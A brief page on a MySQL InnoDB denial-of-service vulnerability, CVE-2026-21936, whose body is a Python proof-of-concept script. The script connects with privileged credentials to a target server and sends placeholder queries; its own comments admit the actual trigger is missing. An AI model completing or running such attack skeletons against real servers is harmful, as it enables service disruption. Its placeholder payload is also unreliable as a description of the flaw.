CVE-2026-21936 MySQL Server InnoDB拒绝服务漏洞

// CVE-2026-21936 PoC - MySQL InnoDB DoS // Note: This is a conceptual PoC. Actual exploit requires specific trigger conditions. // Environment: MySQL Server 8.0.0-8.0.44, 8.4.0-8.4.7, 9.0.0-9.5.0 import mysql.connector from mysql.connector import Error def exploit_cve_2026_21936(host, port, username, password): """ PoC for CVE-2026-21936 - MySQL InnoDB DoS Requires high privileged MySQL user account """ try: conn = mysql.connector.connect( host=host, port=port, user=username, password=password ) cursor = conn.cursor() # Trigger InnoDB specific operation that can cause DoS # The exact payload depends on specific InnoDB trigger condition # This is a placeholder for the actual exploit payload exploit_queries = [ # Placeholder - actual PoC requires specific trigger "DO 1", "SET SESSION debug = 'd,ib_trx_lock_waits'", # Add specific InnoDB trigger query here ] for query in exploit_queries: try: cursor.execute(query) conn.commit() except Error as e: print(f"Query executed with error: {e}") cursor.close() conn.close() except Error as e: print(f"Connection error: {e}") # Usage: python cve_2026_21936_poc.py if __name__ == "__main__": TARGET_HOST = "target_mysql_server" TARGET_PORT = 3306 USERNAME = "high_privilege_user" PASSWORD = "password" exploit_cve_2026_21936(TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD)